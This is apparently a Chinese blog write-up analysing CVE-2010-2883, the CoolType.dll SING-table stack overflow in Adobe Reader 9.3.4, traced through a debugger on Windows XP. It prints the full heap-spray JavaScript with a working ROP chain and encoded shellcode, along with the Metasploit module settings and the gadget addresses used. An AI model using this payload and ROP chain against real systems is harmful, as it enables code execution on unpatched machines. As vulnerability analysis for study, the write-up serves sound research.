CVE-2010-2883分析

CVE-2010-2883分析

漏洞简述

  • 漏洞成因:CoolType.dll库对SING表解析时调用了strcat函数,未对uniqueName字段的字符串长度进行检查,将其直接复制到了栈空间,导致了栈溢出。

  • 影响版本:Adobe Reader 9.3.4

  • 分析环境:windows xp sp3 简体中文

漏洞溯源

漏洞触发操作如下:

1
2
3
4
5
6
.text:0803DD9F                 add     eax, 10h        ; get uniqueName addr
.text:0803DDA2 push eax ; char *
.text:0803DDA3 lea eax, [ebp+108h+var_108] ; get dst addr
.text:0803DDA6 push eax ; char *
.text:0803DDA7 mov [ebp+108h+var_108], 0 ; free dst addr
.text:0803DDAB call strcat ; 导致溢出

在拷贝uniqueName域时未考虑原uniqueName长度考虑,直接调用strcat函数,造成了栈溢出。

调试

测试样本为msf生成CVE-2010-2883利用exp:calc.pdf,生成exp的相关参数:

参数
module windows/fileformat/adobe_cooltype_sing
FILENAME calc.pdf
payload windows/exec
cmd calc.exe

将ttf解压后得到uniqueName的位置:

调试时需要着重关注这部分。

strcat函数运行完毕可以看到uniqueName域被拷贝到了0x12E4D8

单步调试到如下位置发现程序会跑飞,且调用了icucnv36.dll中的函数,与书中给出的调用情况一致:

1
0808B308    FF10            call dword ptr ds:[eax]                  ; icucnv36.4A80CB38

整理出的到该调用的路径:

1
2
3
4
0803DEAF    E8 2A8DFDFF     call CoolType.08016BDE
08016C56 E8 C64E0000 call CoolType.0801BB21
0801BB41 FF10 call dword ptr ds:[eax] ; CoolType.0808B116
0808B308 FF10 call dword ptr ds:[eax] ; icucnv36.4A80CB38

可以看出这里是覆盖了虚函数表来进行之后的ROP的。

单步走进行栈帧切换:

1
2
3
4A80CB38    81C5 94070000   add ebp,0x794
4A80CB3E C9 leave
4A80CB3F C3 retn

retEIP变成0x4A82A714

0x0808B308以及0x4A82A714都是icucnv36.dll模块中的gadget,由于该模块没有开启ASLR,所以使用该gadget比较方便。

进一步走esp指向了0x0C0C0C0C,之后就会通过嵌入pdf的js代码进行heap spray,触发shellcode:

用于heap spray的js代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

var junk = unescape;

//shellcode ROP
var shellcode = junk( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc5da%ud6be%u7680%ud99a%u2474%u5bf4%uc931%u56b1%u7331%u0318%u1873%uc383%u62d2%u6683%ue032%u976c%u85c2%u72e5%u85f3%uf792%u35a3%u5ad0%ubd4f%u4eb4%ub3c4%u6010%u796d%u4f47%ud26e%ucebb%u29ec%u30e8%ue1cd%u31fd%u1f0a%u630f%u6bc3%u94a2%u2160%u1e7f%ua73a%uc307%uc68a%u5226%u9081%u54e8%ua946%u4ea0%u948b%ue47b%u627f%u2c7a%u8b4e%u11d1%u7e7f%u552b%u6147%uaf5e%u1cb4%u7459%ufac7%u6fec%u886f%u5457%u5d8e%u1f01%u2a9c%u4745%uad80%uf38a%u26bc%ud42d%u7c35%uf00a%u261e%ua133%u89fa%ub14c%u76a5%ub9e9%u624b%ue380%u4703%u1ba9%ucfd3%u68ba%u50e1%ue711%u1849%uf0bf%u0ed8%u2e40%u5e62%ucfbe%u7692%u9b05%ue0c2%ua4ac%uf089%u7151%ufb27%ubac5%uea1f%u5395%u0d5d%uff87%uebe8%uaff7%ua3ba%u1fb7%u147a%u4a50%u4b75%u7540%ue45c%u9aeb%u5c08%u0384%u1611%ucb35%u528c%u4775%ua224%ua038%ub04d%ud72d%u48ad%u72ae%u22ad%ud4aa%udafa%u01b0%u44cc%u644a%u824f%uf9b4%uf879%u6f83%u96c5%u7feb%u66c5%u15ba%u0ec5%u4e1a%u2b96%u5b65%ue78b%u64f0%u54fd%u0d52%u8203%u9294%ue1fc%ud5a6%u7702%u7d81%u876a%u7d91%ued6a%u2e11%ufa02%uc13e%u03e2%u8a95%u896a%u7878%u8e0b%udc50%u8f95%uc557%uf526%ufa18%u0ac7%u9f31%u0ac8%ua13d%udcf5%ud704%udd38%ue832%u400f%u6312%ud66f%ua664' );

var block = junk( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

while (block.length + 20 + 8 < 65536) block+=block;//构造0x0c0c0c0c的block

payload = block.substring(0, (0x0c0c-0x24)/2);
payload += shellcode;
payload += block;
_payload = payload.substring(0, 65536/2);

while(_payload.length < 0x80000)
_payload += _payload;

__payload = _payload.substring(0, 0x80000 - (0x1020-0x08) / 2);

var heap_spray = new Array();

for (i=0;i<0x1f0;i++)
heap_spray[i]=__payload+"s";

之后开始ROP:

1
2
4A8063A5    59              pop ecx                                  ; icucnv36.4A8A0000
4A8063A6 C3 retn
1
2
4A802196    8901            mov dword ptr ds:[ecx],eax
4A802198 C3 retn
1
2
4A801F90    58              pop eax                                  ; <&KERNEL32.CreateFileA>
4A801F91 C3 retn
1
4A80B692  - FF20            jmp dword ptr ds:[eax]                   ; kernel32.CreateFileA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
7C801A28 >  8BFF            mov edi,edi
7C801A2A 55 push ebp
7C801A2B 8BEC mov ebp,esp
7C801A2D FF75 08 push dword ptr ss:[ebp+0x8]
7C801A30 E8 CFC60000 call kernel32.7C80E104
7C801A35 85C0 test eax,eax ; <&KERNEL32.CreateFileA>
7C801A37 74 1E je short kernel32.7C801A57
7C801A39 FF75 20 push dword ptr ss:[ebp+0x20]
7C801A3C FF75 1C push dword ptr ss:[ebp+0x1C]
7C801A3F FF75 18 push dword ptr ss:[ebp+0x18]
7C801A42 FF75 14 push dword ptr ss:[ebp+0x14]
7C801A45 FF75 10 push dword ptr ss:[ebp+0x10]
7C801A48 FF75 0C push dword ptr ss:[ebp+0xC]
7C801A4B FF70 04 push dword ptr ds:[eax+0x4] ; kernel32.UnmapViewOfFile
7C801A4E E8 9DED0000 call kernel32.CreateFileW
7C801A53 5D pop ebp ; icucnv36.4A801064
7C801A54 C2 1C00 retn 0x1C

这段创建了一个名称为”iso88591”的文件:

1
2
3
4
5
6
7
8
0C0C0C24   4A801064  /CALL 到 CreateFileA
0C0C0C28 4A8522C8 |FileName = "iso88591"
0C0C0C2C 10000000 |Access = GENERIC_ALL
0C0C0C30 00000000 |ShareMode = 0
0C0C0C34 00000000 |pSecurity = NULL
0C0C0C38 00000002 |Mode = CREATE_ALWAYS
0C0C0C3C 00000102 |Attributes = HIDDEN|TEMPORARY
0C0C0C40 00000000 \hTemplateFile = NULL

继续ROP:

1
2
4A8063A5    59              pop ecx                                  ; icucnv36.4A801064
4A8063A6 C3 retn
1
2
4A842DB2    97              xchg eax,edi
4A842DB3 C3 retn
1
2
4A802AB1    5B              pop ebx
4A802AB2 C3 retn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
4A80A8A6    213C5C          and dword ptr ss:[esp+ebx*2],edi
4A80A8A9 75 03 jnz short icucnv36.4A80A8AE
4A80A8AB B0 01 mov al,0x1
4A80A8AD C3 retn
4A80A8AE 3C 2F cmp al,0x2F
4A80A8B0 ^ 74 F9 je short icucnv36.4A80A8AB
4A80A8B2 3C 41 cmp al,0x41
4A80A8B4 7C 04 jl short icucnv36.4A80A8BA
4A80A8B6 3C 5A cmp al,0x5A
4A80A8B8 7E 08 jle short icucnv36.4A80A8C2
4A80A8BA 3C 61 cmp al,0x61
4A80A8BC 7C 0A jl short icucnv36.4A80A8C8
4A80A8BE 3C 7A cmp al,0x7A
4A80A8C0 7F 06 jg short icucnv36.4A80A8C8
4A80A8C2 8079 01 3A cmp byte ptr ds:[ecx+0x1],0x3A
4A80A8C6 ^ 74 E3 je short icucnv36.4A80A8AB
4A80A8C8 32C0 xor al,al
4A80A8CA C3 retn
1
2
4A801F90    58              pop eax                                  ; <&KERNEL32.CreateFileMappingA>
4A801F91 C3 retn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
7C8094EE >  8BFF            mov edi,edi
7C8094F0 55 push ebp
7C8094F1 8BEC mov ebp,esp
7C8094F3 51 push ecx ; icucnv36.4A801064
7C8094F4 51 push ecx ; icucnv36.4A801064
7C8094F5 56 push esi
7C8094F6 33F6 xor esi,esi
7C8094F8 3975 1C cmp dword ptr ss:[ebp+0x1C],esi
7C8094FB 74 31 je short kernel32.7C80952E
7C8094FD 64:A1 18000000 mov eax,dword ptr fs:[0x18]
7C809503 FF75 1C push dword ptr ss:[ebp+0x1C]
7C809506 8DB0 F80B0000 lea esi,dword ptr ds:[eax+0xBF8]
7C80950C 8D45 F8 lea eax,dword ptr ss:[ebp-0x8]
7C80950F 50 push eax ; <&KERNEL32.CreateFileMappingA>
7C809510 FF15 8C10807C call dword ptr ds:[<&ntdll.RtlInitAnsiSt>; ntdll.RtlInitAnsiString
7C809516 6A 00 push 0x0
7C809518 8D45 F8 lea eax,dword ptr ss:[ebp-0x8]
7C80951B 50 push eax ; <&KERNEL32.CreateFileMappingA>
7C80951C 56 push esi
7C80951D FF15 8810807C call dword ptr ds:[<&ntdll.RtlAnsiString>; ntdll.RtlAnsiStringToUnicodeString
7C809523 85C0 test eax,eax ; <&KERNEL32.CreateFileMappingA>
7C809525 0F8C B5390300 jl kernel32.7C83CEE0
7C80952B 8B76 04 mov esi,dword ptr ds:[esi+0x4]
7C80952E 56 push esi
7C80952F FF75 18 push dword ptr ss:[ebp+0x18]
7C809532 FF75 14 push dword ptr ss:[ebp+0x14]
7C809535 FF75 10 push dword ptr ss:[ebp+0x10]
7C809538 FF75 0C push dword ptr ss:[ebp+0xC]
7C80953B FF75 08 push dword ptr ss:[ebp+0x8]
7C80953E E8 DDFEFFFF call kernel32.CreateFileMappingW
7C809543 5E pop esi ; icucnv36.4A801064
7C809544 C9 leave
7C809545 C2 1800 retn 0x18

这段创建了一段文件内存映射:

1
2
3
4
5
6
7
0C0C0C68   4A801064  /CALL 到 CreateFileMappingA
0C0C0C6C 00000380 |hFile = 00000380
0C0C0C70 00000000 |pSecurity = NULL
0C0C0C74 00000040 |Protection = PAGE_EXECUTE_READWRITE
0C0C0C78 00000000 |MaximumSizeHigh = 0x0
0C0C0C7C 00010000 |MaximumSizeLow = 0x10000
0C0C0C80 00000000 \MapName = NULL

然后继续ROP,这段和上一段类似,目的如下:

1
2
3
4
5
6
7
8
9
10
11
12
7C80B995 >  8BFF            mov edi,edi
7C80B997 55 push ebp
7C80B998 8BEC mov ebp,esp
7C80B99A 6A 00 push 0x0
7C80B99C FF75 18 push dword ptr ss:[ebp+0x18]
7C80B99F FF75 14 push dword ptr ss:[ebp+0x14]
7C80B9A2 FF75 10 push dword ptr ss:[ebp+0x10]
7C80B9A5 FF75 0C push dword ptr ss:[ebp+0xC]
7C80B9A8 FF75 08 push dword ptr ss:[ebp+0x8]
7C80B9AB E8 76FFFFFF call kernel32.MapViewOfFileEx
7C80B9B0 5D pop ebp ; icucnv36.4A801064
7C80B9B1 C2 1400 retn 0x14

以如下参数调用MapViewOfFile

1
2
3
4
5
6
0C0C0CA8   4A801064  /CALL 到 MapViewOfFile
0C0C0CAC 00000384 |hMapObject = 00000384
0C0C0CB0 00000022 |AccessMode = 0x22
0C0C0CB4 00000000 |OffsetHigh = 0x0
0C0C0CB8 00000000 |OffsetLow = 0x0
0C0C0CBC 00010000 \MapSize = 10000 (65536.)

继续ROP直到调用memcpy函数:

1
2
3
4
4A801F90    58              pop eax                                  ; <&MSVCR80.memcpy>
4A801F91 C3 retn
......
4A80B692 - FF20 jmp dword ptr ds:[eax] ; msvcr80.memcpy

调用规则如下,将shellcode拷贝到0x03F00000(该地址是随机变化的)这段刚创建的可执行可读写的内存:

1
2
3
4
0C0C0D44   03F00000  /CALL 到 memcpy
0C0C0D48 03F00000 |dest = 03F00000
0C0C0D4C 0C0C0D54 |src = 0C0C0D54
0C0C0D50 00001000 \n = 1000 (4096.)

然后跳转到该地址执行shellcode,首先保存一些上下文信息:

1
2
3
4
03F00000    DAC5            fcmovb st,st(5)
03F00002 BE D680769A mov esi,0x9A7680D6
03F00007 D97424 F4 fstenv (28-byte) ptr ss:[esp-0xC]
03F0000B 5B pop ebx ; 03F00000

然后对shellcode内容每4个字节解密:

1
2
3
4
03F00010    3173 18         xor dword ptr ds:[ebx+0x18],esi
03F00013 0373 18 add esi,dword ptr ds:[ebx+0x18]
03F00016 83C3 04 add ebx,0x4
03F00019 ^ E2 F5 loopd short 03F00010

call0x4E000A3,其实就是继续heap spray:

1
03F0001C    E8 8200F000     call 04E000A3

后续就是调用WinExec来执行calc.exe,不多表述。

参考文章

https://bbs.pediy.com/thread-246274.htm

https://blog.csdn.net/wangtiankuo/article/details/82994280?spm=1001.2014.3001.5501